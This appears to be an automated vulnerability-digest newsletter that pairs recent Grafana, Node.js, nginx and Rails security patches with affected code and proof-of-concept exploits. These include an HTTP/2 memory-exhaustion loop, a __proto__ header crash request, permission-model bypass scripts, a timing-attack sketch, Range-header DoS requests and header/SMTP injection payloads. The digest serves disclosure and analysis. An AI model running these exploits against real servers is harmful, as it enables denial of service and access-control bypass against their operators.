📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

🔥 HIGH VERIFIED Sensitive Data Exposure

Mar 27, 2026, 08:15 AM — grafana/grafana

Commit: c23a34af8fe64d8e24bbceef634d4493a8de8f85

Author: Ryan McKinley

When a user creates a Kubernetes resource containing inline secure values (raw secrets) via kubectl apply, the kubectl client automatically stores the full object including the raw secret value in the `kubectl.kubernetes.io/last-applied-configuration` annotation. This annotation is persisted in the API server and can be read back by anyone with read access to the resource, effectively leaking the raw secret value. The patch clears this annotation when a raw secret is detected in the inline secure values section, preventing the secret from being stored in plaintext in the annotation.

🔍 View Affected Code & PoC

Affected Code

n, err := store.CreateInline(ctx, v.ref, val.Create, val.Description)
if err != nil {
    return err
}
v.createdSecureValues = append(v.createdSecureValues, n)
v.hasChanged = true
secure[k] = common.InlineSecureValue{Name: n}
continue

Proof of Concept

1. User runs: kubectl apply -f datasource.yaml where datasource.yaml contains a secure value like {"secure": {"password": {"create": "SuperSecretPassword123"}}}
2. kubectl automatically adds annotation: kubectl.kubernetes.io/last-applied-configuration={..."secure":{"password":{"create":"SuperSecretPassword123"}}...}
3. Any user with read access to the resource can retrieve the raw secret: kubectl get datasource myds -o jsonpath='{.metadata.annotations.kubectl\.kubernetes\.io/last-applied-configuration}'
4. The raw secret value 'SuperSecretPassword123' is returned in plaintext, bypassing the entire secure value protection mechanism.

🔥 HIGH VERIFIED Use-After-Free

Mar 26, 2026, 10:18 PM — nodejs/node

Commit: 53bcd114b10021c4a883b08df4d3c2ff6946b430

Author: Matteo Collina

The Reset() method in Node.js's zlib binding did not check the write_in_progress_ flag before resetting the compression stream. This allowed calling reset() while an async write was being processed by a worker thread, causing the internal zlib/brotli state to be freed while still in use, resulting in a use-after-free condition that could lead to memory corruption or process crash. The fix adds a guard that throws an error if a write is in progress, consistent with how Close() and Write() already behave.

🔍 View Affected Code & PoC

Affected Code

AllocScope alloc_scope(wrap);
const CompressionError err = wrap->context()->ResetStream();
if (err.IsError())

Proof of Concept

const { createDeflate } = require('zlib');
const stream = createDeflate();
const input = Buffer.alloc(1024 * 1024, 0x41); // large buffer to ensure async
stream.write(input);
// Immediately reset while write is in progress in thread pool:
stream._handle.reset(); // triggers use-after-free in worker thread

⚠️ MEDIUM VERIFIED Broken Access Control / Authorization Bypass

Mar 26, 2026, 08:40 AM — grafana/grafana

Commit: bafbc26b35d94dc07918a908638194abfdd94d8a

Author: Gabriel MABILLE

Before this patch, the Kubernetes-style IAM API endpoint `/apis/iam.grafana.app/v0alpha1/namespaces/{ns}/users/{name}/teams` used the generic `ResourceAuthorizer` which only checked `get` permission on the `users` resource itself, but did not properly enforce the `teams` subresource authorization. According to the commit, the RBAC service would ignore the 'teams' subresource check, meaning any user with generic `users:read` permission could potentially access team membership data for users they shouldn't be able to see. The patch adds a dedicated `UserAuthorizer` that explicitly checks `get` permission on the parent user when the `teams` subresource is requested.

🔍 View Affected Code & PoC

Affected Code

resourceAuthorizer[iamv0.UserResourceInfo.GetName()] = authorizer

Proof of Concept

An authenticated user with `users:read` permission scoped to a subset of users (e.g., only their own user) could send: GET /apis/iam.grafana.app/v0alpha1/namespaces/org-1/users/another-user-id/teams - Before the patch, the ResourceAuthorizer would check permission on the `users` resource without properly handling the `teams` subresource distinction, potentially allowing access to team memberships of users outside the caller's permission scope. After the patch, a proper `get` check on the specific parent user is enforced before granting access to their teams.

⚠️ MEDIUM VERIFIED Broken Access Control / Information Disclosure

Mar 25, 2026, 03:52 PM — grafana/grafana

Commit: c30a9e2003af41bc11b7286f1e7800ee30523b81

Author: Yuri Tseretyan

The `/api/alertmanager/grafana/api/v2/status` endpoint was protected by the `alert.notifications:read` permission, which is granted to Viewers and Editors by default. This allowed any authenticated user (including low-privileged Viewers) to access Alertmanager system status information including routing configuration, receivers configuration, and other sensitive system details. The patch replaces this with a new dedicated `alert.notifications.system-status:read` permission that is only granted to Admin users.

🔍 View Affected Code & PoC

Affected Code

case http.MethodGet + "/api/alertmanager/grafana/api/v2/status":
	eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)

Proof of Concept

curl -u viewer:viewer http://<grafana-host>/api/alertmanager/grafana/api/v2/status
# Before the patch, this returns HTTP 200 with full Alertmanager status including routing configuration and receiver details
# After the patch, returns HTTP 403 Forbidden for Viewer/Editor users

⚠️ MEDIUM VERIFIED Authorization Bypass / Improper Access Control

Mar 25, 2026, 02:31 PM — grafana/grafana

Commit: 28958564dd2adf25bf8361acabbba4967f5e4986

Author: Gonzalo Trigueros Manzanas

Before the patch, the `validateWriteAccess` function did not handle `JobActionFixFolderMetadata` in its switch statement, meaning it fell through to the `default` case which applies no ref-based restriction. This allowed users to trigger a fix-folder-metadata job that would write directly to the default/main branch even when the repository was configured with only a 'branch' workflow (meaning the default branch should be read-only). The patch adds the missing case to extract the target ref from `FixFolderMetadata.Ref` and apply proper write permission checks.

🔍 View Affected Code & PoC

Affected Code

case provisioning.JobActionPush:
    if spec.Push != nil {
        targetRef = spec.Push.Branch
    }
// Missing case for JobActionFixFolderMetadata - falls through to default
case provisioning.JobActionMigrate:

Proof of Concept

POST /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-read-only-repo/jobs
Content-Type: application/json

{"action": "fix-folder-metadata"}

This request would bypass the branch-workflow restriction and push _folder.json files directly to the protected main branch, even though the repo is configured with only the 'branch' workflow (no direct writes to default branch allowed).
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21717 Hash Collision / Denial of Service

Mar 24, 2026, 10:50 PM — nodejs/node

📈 Patch landed 5 days 22 hours 41 minutes before CVE published

Commit: 0d7e4b1d4b0220b68bc2c5c2b973deff1664824b

Author: Joyee Cheung

V8's array index hash values for numeric strings were predictable because they directly encoded the integer value and string length without randomization. Consecutive numeric string keys (e.g., '0', '1', '2', ...) would have consecutive hash values, allowing an attacker to craft inputs that cause O(n^2) hash table probe collisions. This patch adds seeded scrambling of the 24-bit array-index value in Name's raw_hash_field using a 3-round xorshift-multiply scheme with random secrets derived from rapidhash, preventing an attacker from predicting hash distributions. This is tracked as CVE-2026-21717.

🔍 View Affected Code & PoC

Affected Code

// Previously, array index hashes were simply:
// MakeArrayIndexHash(value, length) encodes value directly
// Name::ArrayIndexValueBits::decode(raw_hash_field_) to recover
// Consecutive keys '0','1','2'... had consecutive, predictable hash values

Proof of Concept

// Node.js DoS via hash collision attack
const obj = {};
const N = 100000;
const start = Date.now();
// Insert consecutive numeric string keys - before the patch, these have
// consecutive hash values causing O(n^2) worst-case probing behavior
for (let i = 0; i < N; i++) {
  obj[String(i)] = i;
}
console.log('Time:', Date.now() - start, 'ms');
// An attacker serving a JSON payload with sequential numeric keys to a
// Node.js server causes excessive CPU usage. With predictable hashes,
// crafted inputs can force worst-case hash table behavior, leading to DoS.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21714 Memory Leak / Resource Exhaustion (DoS)

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 43 minutes before CVE published

Commit: 82615369d4d9aab2d841d4d790263d2c6336f2e4

Author: RafaelGSS

A malicious HTTP/2 client could send a WINDOW_UPDATE frame on stream 0 (connection level) with an increment that pushes the flow-control window past 2^31-1. nghttp2 internally responds with GOAWAY(FLOW_CONTROL_ERROR) but Node.js's OnInvalidFrame callback did not handle NGHTTP2_ERR_FLOW_CONTROL, so the Http2Session was never destroyed, causing a memory leak. An attacker can exploit this to exhaust server memory by repeatedly opening connections and sending the malicious frame, enabling denial of service.

🔍 View Affected Code & PoC

Affected Code

if (nghttp2_is_fatal(lib_error_code) ||
      lib_error_code == NGHTTP2_ERR_STREAM_CLOSED ||
      lib_error_code == NGHTTP2_ERR_PROTO) {

Proof of Concept

// Connect via raw TCP to a Node.js HTTP/2 server and send:
// 1. HTTP/2 client preface: 'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
// 2. Empty SETTINGS frame
// 3. After receiving server SETTINGS, send SETTINGS ACK
// 4. Send WINDOW_UPDATE on stream 0 with increment 0x7FFFFFFF (2^31-1)
//    Default window is 65535, so 65535+2147483647 > 2^31-1 triggers NGHTTP2_ERR_FLOW_CONTROL
// The server sends GOAWAY but the Http2Session is never destroyed -> memory leak
// Repeat thousands of times to exhaust server memory.

const net = require('net');
for (let i = 0; i < 10000; i++) {
  const conn = net.connect({ port: 8443 });
  conn.write('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n');
  const settings = Buffer.alloc(9); settings[3] = 0x04; conn.write(settings);
  setTimeout(() => {
    const ack = Buffer.alloc(9); ack[3] = 0x04; ack[4] = 0x01; conn.write(ack);
    const wu = Buffer.alloc(13);
    wu.writeUIntBE(4,0,3); wu[3]=0x08; wu[4]=0x00;
    wu.writeUIntBE(0,5,4); wu.writeUIntBE(0x7FFFFFFF,9,4);
    conn.write(wu);
  }, 100);
}
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-21713 Timing Side-Channel Attack (HMAC/KMAC Verification)

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 43 minutes before CVE published

Commit: b36d5a3d94dc3a1ddbcc35d51ce19d1fa61e8e47

Author: Filip Skokan

The Web Cryptography API's HMAC and KMAC `verify` operations used the non-constant-time `memcmp` function to compare the computed MAC against the provided signature. This allowed timing-based side-channel attacks where an attacker could measure response times to infer byte-by-byte information about the expected MAC value. The patch replaces `memcmp` with `CRYPTO_memcmp`, which executes in constant time regardless of where the comparison fails.

🔍 View Affected Code & PoC

Affected Code

out->size() > 0 && out->size() == params.signature.size() &&
    memcmp(out->data(), params.signature.data(), out->size()) == 0

Proof of Concept

// Exploit: Timing attack against SubtleCrypto.verify() for HMAC
// An attacker who can make many verify calls and measure timing can recover the HMAC value

async function timingAttack() {
  const key = await crypto.subtle.importKey(
    'raw', new TextEncoder().encode('secret-key'),
    { name: 'HMAC', hash: 'SHA-256' }, false, ['sign', 'verify']
  );
  const data = new TextEncoder().encode('message');
  // Attacker tries forged signatures byte by byte
  // memcmp returns early on first differing byte, leaking timing info
  // A signature where first byte matches will take slightly longer than one where first byte differs
  const forgedSig = new Uint8Array(32); // all zeros
  const ITERATIONS = 100000;
  const start = performance.now();
  for (let i = 0; i < ITERATIONS; i++) {
    await crypto.subtle.verify('HMAC', key, forgedSig, data);
  }
  const elapsed = performance.now() - start;
  // By varying forgedSig[0] from 0-255 and measuring timing, attacker
  // can determine correct first byte (takes measurably longer when correct)
  // Repeat for each subsequent byte to recover full HMAC
  console.log('Timing:', elapsed);
}
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21710 Denial of Service via Prototype Pollution

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 43 minutes before CVE published

Commit: ef5929b5aaae7a14e839e2123f54580d18702df0

Author: Matteo Collina

When `headersDistinct` or `trailersDistinct` was accessed on an IncomingMessage, the destination object was initialized as a plain `{}` which inherits from `Object.prototype`. If a request included a `__proto__` header, `dst\["__proto__"\]` would resolve to `Object.prototype` (a truthy object rather than undefined), causing `_addHeaderLineDistinct` to call `.push()` on `Object.prototype` instead of an array, throwing an uncaught TypeError that crashes the Node.js process. The fix uses `{ __proto__: null }` to create a null-prototype object, preventing prototype chain lookups.

🔍 View Affected Code & PoC

Affected Code

if (!this[kHeadersDistinct]) {
  this[kHeadersDistinct] = {};

  const src = this.rawHeaders;
  const dst = this[kHeadersDistinct];

Proof of Concept

Send the following raw HTTP request to any Node.js HTTP server that accesses req.headersDistinct:

`​`​`​
GET / HTTP/1.1\r\n
Host: localhost\r\n
__proto__: test\r\n
Connection: close\r\n
\r\n
`​`​`​

Or programmatically:
`​`​`​javascript
const net = require('net');
const client = net.connect(PORT, () => {
  client.write('GET / HTTP/1.1\r\nHost: localhost\r\n__proto__: test\r\nConnection: close\r\n\r\n');
});
// Server crashes with: TypeError: dest[key].push is not a function
// because dest["__proto__"] resolves to Object.prototype (truthy),
// so push() is called on Object.prototype instead of an array.
`​`​`​
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-21711 Permission Model Bypass

Mar 24, 2026, 10:47 PM — nodejs/node

📈 Patch landed 5 days 22 hours 44 minutes before CVE published

Commit: 59c86b1d9377fae95b0523fc16537161dd685f41

Author: RafaelGSS

Node.js's permission model (--permission flag) failed to enforce network access controls for Unix Domain Socket (UDS) connections and server listeners via pipe_wrap.cc. Before the patch, calling net.createServer().listen('/tmp/sock') or net.connect({path:'/tmp/sock'}) would succeed even when --allow-net was not granted, bypassing the intended permission restrictions. The patch adds THROW_IF_INSUFFICIENT_PERMISSIONS checks to PipeWrap::Bind and PipeWrap::Listen to enforce the kNet permission scope.

🔍 View Affected Code & PoC

Affected Code

void PipeWrap::Bind(const FunctionCallbackInfo<Value>& args) {
  PipeWrap* wrap;
  ASSIGN_OR_RETURN_UNWRAP(&wrap, args.This());
  node::Utf8Value name(args.GetIsolate(), args[0]);
  int err =
      uv_pipe_bind2(&wrap->handle_, *name, name.length(), UV_PIPE_NO_TRUNCATE);

Proof of Concept

// Run with: node --permission --allow-fs-read=* exploit.js
// Before patch: server binds successfully despite no --allow-net
const net = require('net');
net.createServer().listen('/tmp/bypass.sock', () => {
  console.log('Permission bypass! Server listening on UDS without --allow-net');
});
// Expected after patch: throws ERR_ACCESS_DENIED with permission: 'Net'
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21637 Uncaught Exception / Denial of Service

Mar 24, 2026, 10:46 PM — nodejs/node

Patch landed 63 days 1 hour 15 minutes after CVE published

Commit: 2e2abc6e895745cc5d04dd203afb8e0083fb6835

Author: Matteo Collina

Before the patch, if an SNICallback function threw a synchronous exception during TLS handshake processing in loadSNI(), the exception would propagate as an uncaught exception, crashing the Node.js process. The patch wraps the owner._SNICallback() invocation in a try/catch block, routing any thrown exceptions through owner.destroy() instead. A remote unauthenticated attacker can crash any Node.js TLS server by sending a TLS ClientHello with a crafted server_name value that causes the SNICallback to throw.

🔍 View Affected Code & PoC

Affected Code

owner._SNICallback(servername, (err, context) => {
    if (once)
      return owner.destroy(new ERR_MULTIPLE_CALLBACK());
    once = true;
    if (err)
      return owner.destroy(err);

Proof of Concept

// Attacker code: connect to a Node.js TLS server with a crafted servername
// Server setup (victim):
const tls = require('tls');
const server = tls.createServer({
  key: fs.readFileSync('server-key.pem'),
  cert: fs.readFileSync('server-cert.pem'),
  SNICallback: (servername, cb) => {
    // Any throw here crashes the server process before the patch
    if (!knownHosts[servername]) throw new Error('Unknown host');
    cb(null, getContext(servername));
  }
});
server.listen(443);

// Attacker: send TLS ClientHello with servername='evil.attacker.com'
// This triggers SNICallback to throw, causing uncaught exception and process crash
const client = tls.connect({ host: 'victim.com', port: 443, servername: 'evil.attacker.com', rejectUnauthorized: false });
client.on('error', () => {});
// Result: Server process crashes with uncaught Error: Unknown host
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21712 Denial of Service (Crash/Abort)

Mar 24, 2026, 10:46 PM — nodejs/node

📈 Patch landed 5 days 19 hours 44 minutes before CVE published

Commit: dabb2f5f0c0367bf8e0e116b311b9308111ab4c7

Author: RafaelGSS

Before the patch, `url.format()` called `CHECK(out)` after attempting to re-parse a URL string with `ada::parse&lt;ada::url&gt;`. If the URL (originally parsed by `ada::url_aggregator`) could not be re-parsed by `ada::url` (e.g., special scheme URLs with opaque paths like `ws:xn-ȫ`), the CHECK macro would trigger an abort/crash of the Node.js process. The patch replaces the hard crash with a graceful fallback that returns the original href unmodified.

🔍 View Affected Code & PoC

Affected Code

auto out = ada::parse<ada::url>(href.ToStringView());
CHECK(out);

Proof of Concept

// Run in Node.js - crashes the process before the patch
const url = require('node:url');
const u = new URL('ws:xn-\u022B');
url.format(u, { fragment: false, unicode: false, auth: false, search: false });
// Before patch: process aborts with CHECK failure
// After patch: returns the original href string without crashing
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21716 Permission Model Bypass

Mar 24, 2026, 10:46 PM — nodejs/node

📈 Patch landed 5 days 22 hours 44 minutes before CVE published

Commit: 3a04e0ff25a8c0090b699a606e237e7f52693583

Author: RafaelGSS

The Node.js Permission Model (introduced with --experimental-permission flag) did not enforce filesystem read/write permission checks on several `fs/promises` API functions including `lstat`, `fchmod`, and `fchown`. This allowed an attacker to bypass the permission model by using the promise-based filesystem API instead of the callback/sync APIs, which did have proper permission checks. The patch adds the missing permission checks to `lstat` (read permission) and disables `fchmod`/`fchown` entirely when the Permission Model is enabled.

🔍 View Affected Code & PoC

Affected Code

async function lstat(path, options = { bigint: false }) {
  const result = await PromisePrototypeThen(
    binding.lstat(getValidatedPath(path), options.bigint, kUsePromises),
    undefined,
    handleErrorFromBinding,
  );

Proof of Concept

// Run Node.js with Permission Model enabled, blocking access to /etc/passwd:
// node --experimental-permission --allow-fs-read=/tmp test.js

const { lstat } = require('node:fs/promises');

// Before patch: this succeeds and reveals file metadata despite being blocked
// After patch: throws ERR_ACCESS_DENIED
async function exploit() {
  try {
    const stats = await lstat('/etc/passwd');
    console.log('BYPASS SUCCESS - got stats:', stats); // succeeds before patch
  } catch (e) {
    console.log('Blocked:', e.code);
  }
}
exploit();

// Similarly for fchmod to change file permissions on a blocked file:
// const fh = await open('/etc/somefile', 'r'); // if read is allowed
// await fh.chmod(0o777); // Before patch: succeeds, bypassing write permission check
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21715 Permission Model Bypass

Mar 24, 2026, 10:46 PM — nodejs/node

📈 Patch landed 5 days 22 hours 44 minutes before CVE published

Commit: e4f3c20be260c32d5e5de5ccfb7d9cd3e82ce83e

Author: RafaelGSS

The Node.js Permission Model's `--allow-fs-read` restriction could be bypassed by using `fs.realpath.native()` instead of `fs.realpath()`. Before the patch, `RealPath` in node_file.cc lacked permission checks for both the async and sync code paths, allowing an attacker to read/resolve file paths that should be blocked by the permission model. The patch adds `ASYNC_THROW_IF_INSUFFICIENT_PERMISSIONS` and `THROW_IF_INSUFFICIENT_PERMISSIONS` checks to enforce the `kFileSystemRead` permission scope.

🔍 View Affected Code & PoC

Affected Code

if (argc > 2) {  // realpath(path, encoding, req)
    FSReqBase* req_wrap_async = GetReqWrap(args, 2);
    CHECK_NOT_NULL(req_wrap_async);
    FS_ASYNC_TRACE_BEGIN1(
        UV_FS_REALPATH, req_wrap_async, "path", TRACE_STR_COPY(*path))

Proof of Concept

// Run Node.js with permission model restricting /etc/passwd:
// node --experimental-permission --allow-fs-read=/tmp script.js
// script.js:
const fs = require('fs');
// fs.readFile('/etc/passwd', ...) would throw ERR_ACCESS_DENIED
// But before patch, this would succeed and resolve the real path:
fs.realpath.native('/etc/passwd', (err, resolvedPath) => {
  console.log('Bypassed permission model, resolved path:', resolvedPath);
});
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-28755 Authentication Bypass

Mar 24, 2026, 03:28 PM — nginx/nginx

📈 Patch landed 2 minutes before CVE published

Commit: 18711f7754401dd4ce26faa721e0f0bce41d4c1e

Author: Sergey Kandaurov

In the nginx stream SSL module, the OCSP (Online Certificate Status Protocol) certificate revocation check was not being performed during client certificate validation. The code would verify the certificate chain but skip the OCSP status check, allowing clients with revoked certificates to successfully authenticate. The patch adds the missing `ngx_ssl_ocsp_get_status()` call that properly checks and enforces OCSP certificate revocation status.

🔍 View Affected Code & PoC

Affected Code

X509_free(cert);
        }
    }

    return NGX_OK;

Proof of Concept

1. Configure nginx stream with ssl_verify_client on and ssl_ocsp on
2. Obtain a valid client certificate from a CA that supports OCSP
3. Have the CA revoke the certificate (OCSP status becomes 'revoked')
4. Connect to nginx stream using the revoked certificate:
   openssl s_client -connect nginx-server:port -cert revoked-client.crt -key client.key
5. BEFORE patch: Connection succeeds despite revoked certificate (OCSP check was skipped)
6. AFTER patch: Connection is rejected with 'client SSL certificate verify error'

⚠️ MEDIUM VERIFIED Null Pointer Dereference

Mar 24, 2026, 02:46 PM — nginx/nginx

Commit: 9bc13718fe8a59a4538805516be7e141070c22d6

Author: Sergey Kandaurov

When authenticating with CRAM-MD5 or APOP methods, the code set `s-&gt;passwd.data = NULL` but did not reset `s-&gt;passwd.len`. On a subsequent authentication attempt, the non-zero length would cause the code to attempt to use the null pointer as if it pointed to valid password data, resulting in a null pointer dereference and worker process crash. The fix uses `ngx_str_null(&s-&gt;passwd)` which correctly zeroes both the data pointer and the length.

🔍 View Affected Code & PoC

Affected Code

s->passwd.data = NULL;

Proof of Concept

1. Configure nginx mail proxy with CRAM-MD5 auth method and auth_http backend.
2. Connect to the mail service and authenticate using CRAM-MD5 (first attempt succeeds or fails normally).
3. On the same connection or a new connection handled by the same worker, attempt a second CRAM-MD5 authentication.
4. The worker process crashes with a null pointer dereference because s->passwd.len is non-zero but s->passwd.data is NULL, causing nginx to attempt to read from address 0x0 when constructing the next auth HTTP request.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-28753 Header Injection / SMTP Injection

Mar 24, 2026, 02:46 PM — nginx/nginx

📈 Patch landed 44 minutes before CVE published

Commit: 6f3145006b41a4ec464eed4093553a335d35e8ac

Author: Roman Arutyunyan

Before the patch, when nginx's mail module resolved a client's IP address to a hostname, it used the resolved hostname without validation in auth_http requests and SMTP proxy communications. An attacker controlling DNS responses could return a hostname containing newlines, spaces, or other special characters, enabling injection of arbitrary headers into auth_http requests or arbitrary SMTP commands into the proxied SMTP session. The patch validates that the resolved hostname only contains RFC 1034-compliant characters (letters, digits, hyphens, dots).

🔍 View Affected Code & PoC

Affected Code

s->host.data = ngx_pstrdup(c->pool, &ctx->name);
// ctx->name is used directly without validation after reverse DNS resolution

Proof of Concept

An attacker controls DNS for their IP (e.g., 1.2.3.4). They configure the PTR record to return: 'evil.com\r\nX-Injected-Header: malicious' or 'evil.com\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>'. When nginx resolves the client IP and gets this crafted hostname, it is used verbatim in auth_http HTTP request headers (e.g., as Client-Host) or in SMTP proxy greeting, allowing HTTP header injection or SMTP command injection.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-27654 Heap Buffer Overflow

Mar 24, 2026, 02:45 PM — nginx/nginx

📈 Patch landed 45 minutes before CVE published

Commit: 9739e755b8dddba82e65ca2a08d079f4c9826b75

Author: Roman Arutyunyan

When nginx WebDAV module (ngx_http_dav_module) processed COPY or MOVE requests with an alias directive configured, supplying a Destination header with a URI shorter than the alias prefix caused an integer underflow in ngx_http_map_uri_to_path(). The underflow resulted in a heap buffer overwrite, which could allow an attacker to manipulate source or destination file paths to be outside the configured location root (path traversal via memory corruption). The patch adds a validation check that rejects Destination URIs shorter than the alias length before the vulnerable path mapping occurs.

🔍 View Affected Code & PoC

Affected Code

/* In ngx_http_dav_copy_move_handler(), before calling ngx_http_map_uri_to_path()
   with duri (destination URI), there was no check that duri.len >= clcf->alias.
   When alias is set and duri.len < clcf->alias, the subtraction
   (duri.len - clcf->alias) underflows as a size_t (unsigned), producing a
   huge length value passed to ngx_http_map_uri_to_path(). */

Proof of Concept

nginx.conf:
  location /files/ {
    alias /var/www/data/;
    dav_methods COPY MOVE;
  }

Exploit request:
  COPY /files/a.txt HTTP/1.1
  Host: victim.example.com
  Destination: http://victim.example.com/x
  Depth: 0

Here the Destination URI path '/x' has length 2, which is less than the alias
prefix length for '/files/' (7). This triggers the integer underflow in
ngx_http_map_uri_to_path() when computing the path length, resulting in a heap
buffer overwrite that can change the resolved destination path to be outside
/var/www/data/, potentially writing to arbitrary filesystem locations.

🔥 HIGH VERIFIED Integer Overflow leading to Out-of-Bounds Read/Write

Mar 24, 2026, 02:44 PM — nginx/nginx

Commit: 3568812cf98dfd7661cd7516ecf9b398c134ab3c

Author: Roman Arutyunyan

On 32-bit platforms, multiplying a uint32_t `entries` value by the size of a struct (also size_t/32-bit) could overflow before being compared to the uint64_t `atom_data_size`. This allowed an attacker to craft a malicious MP4 file with a large entries count that, after overflow, appeared to pass the size validation check, causing nginx to process entries beyond the allocated buffer boundaries with out-of-bounds reads and writes. The fix casts `entries` to uint64_t before multiplication to prevent the overflow.

🔍 View Affected Code & PoC

Affected Code

if (ngx_mp4_atom_data_size(ngx_mp4_stts_atom_t)
        + entries * sizeof(ngx_mp4_stts_entry_t) > atom_data_size)

Proof of Concept

Craft a malicious MP4 file where an stts atom has entries=0x20000000 (536870912) and atom_data_size=0x100 (small). On a 32-bit platform: entries * sizeof(ngx_mp4_stts_entry_t) = 0x20000000 * 8 = 0x100000000 which overflows to 0x00000000. Adding ngx_mp4_atom_data_size (e.g., 12) gives 12, which is less than atom_data_size=0x100, so validation passes. Nginx then processes 536 million non-existent entries beyond the allocated buffer, causing heap out-of-bounds access. Serve this file via nginx's mp4 module: GET /malicious.mp4?start=0

🔥 HIGH VERIFIED Buffer Overread/Overwrite

Mar 24, 2026, 02:12 PM — nginx/nginx

Commit: 7725c372c2fe11ff908b1d6138be219ad694c42f

Author: Roman Arutyunyan

The nginx mp4 module had off-by-one errors in bounds checking for stco and co64 atoms. When `trak-&gt;start_chunk` equaled `trak-&gt;chunks` (i.e., pointing exactly past the end of the chunks array), the old check `trak-&gt;start_chunk &gt; trak-&gt;chunks` would pass, allowing out-of-bounds memory access. Similarly, empty stsz sample arrays could be processed leading to buffer overread/overwrite. The patch changes `&gt;` to `&gt;=` to properly reject these boundary cases.

🔍 View Affected Code & PoC

Affected Code

if (trak->start_chunk > trak->chunks) {
    ngx_log_error(NGX_LOG_ERR, mp4->file.log, 0,
                  "start time is out mp4 stco chunks in \"%s\"",
                  mp4->file.name.data);
    return NGX_ERROR;
}

Proof of Concept

Craft an MP4 file where the stco/co64 atom contains exactly N chunk entries, but the computed start_chunk equals N (pointing one past the end). With the old check (start_chunk > chunks), when start_chunk == chunks the check passes and subsequent code reads/writes memory at chunks[N], one element past the allocated buffer. A crafted MP4 with a seek start time that maps to start_chunk == chunks (e.g., start time after all samples) triggers: GET /video.mp4?start=<time_after_last_sample> - causing out-of-bounds memory read/write in the chunk offset update loop.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33174 Denial of Service (Resource Exhaustion)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 12 minutes after CVE published

Commit: 5b66fcf531bba92e4a91ae4aac219099d28177d2

Author: Gannon McGibbon

Before the patch, an attacker could send an HTTP Range request with an arbitrarily large byte range (e.g., 'bytes=0-' on a large file) and the server would attempt to download and buffer the entire requested range into memory before sending it. This could exhaust server memory and cause a denial of service. The patch adds a `ranges_valid?` check that rejects any byte ranges whose total size exceeds 100MB (configurable via `ActiveStorage.streaming_chunk_max_size`).

🔍 View Affected Code & PoC

Affected Code

return head(:range_not_satisfiable) if ranges.blank? || ranges.all?(&:blank?)

Proof of Concept

Send an HTTP GET request with a Range header covering the entire file or a very large portion of a large blob:

GET /rails/active_storage/blobs/proxy/:signed_id/:filename HTTP/1.1
Host: target.example.com
Range: bytes=0-

With a multi-gigabyte file stored, this would cause the server to call blob.download_chunk(0..file_size) and load gigabytes into memory. Multiple concurrent such requests would exhaust available RAM and crash the server process. A multi-range attack is also possible:
Range: bytes=0-999999999,1000000000-1999999999
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33658 Denial of Service (DoS) via Multi-Range HTTP Requests

Mar 23, 2026, 10:21 PM — rails/rails

📈 Patch landed 1 day 22 hours 43 minutes before CVE published

Commit: bb78f8cd636db4a0e8a732e9c25f2f9f58b2d058

Author: Jean Boussier

The ActiveStorage streaming controller allowed multi-range HTTP byte range requests without limiting the number of ranges. An attacker could send a request with thousands of byte ranges, causing the server to download and assemble many chunks from storage in memory, exhausting server resources and potentially causing a DoS. The patch adds a configurable `streaming_max_ranges` limit (defaulting to 1) that rejects requests with more ranges than allowed.

🔍 View Affected Code & PoC

Affected Code

ranges = Rack::Utils.get_byte_ranges(range_header, blob.byte_size)

return head(:range_not_satisfiable) unless ranges_valid?(ranges)

if ranges.length == 1

Proof of Concept

Send a request with thousands of byte ranges to exhaust server memory/connections:

curl -H 'Range: bytes=0-1,2-3,4-5,6-7,8-9,10-11,...(repeat 10000 times)' https://example.com/rails/active_storage/blobs/proxy/SIGNED_ID/file.bin

Each range causes a separate blob.download_chunk() call and all data is accumulated in memory (data << chunk), so 10000 ranges against a large file would download massive amounts of data and hold it all in RAM, potentially crashing the Rails server.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33176 Denial of Service (ReDoS/Resource Exhaustion)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 6 minutes after CVE published

Commit: 64fabbd33c6e4886a6520a357434e0a8935beb5d

Author: Jean Boussier

BigDecimal in Ruby supports scientific notation (e.g., '9e99999999'), allowing an attacker to pass a short string that causes BigDecimal to allocate an enormous amount of memory when converting the number. Before the patch, any user-controlled string passed to number helper functions (like number_to_currency or number_to_percentage) could trigger this via BigDecimal(number). The patch rejects strings containing 'e' or 'd' (scientific notation indicators) before attempting BigDecimal conversion.

🔍 View Affected Code & PoC

Affected Code

when String
  BigDecimal(number, exception: false)

Proof of Concept

# Sending a tiny string that causes massive memory allocation:
require 'active_support/number_helper'
include ActiveSupport::NumberHelper

# This causes BigDecimal to allocate gigabytes of memory and hang
number_to_currency('9e99999999')  # Before patch: allocates enormous BigDecimal
number_to_currency('1e1000000')   # Similarly, causes DoS via memory exhaustion

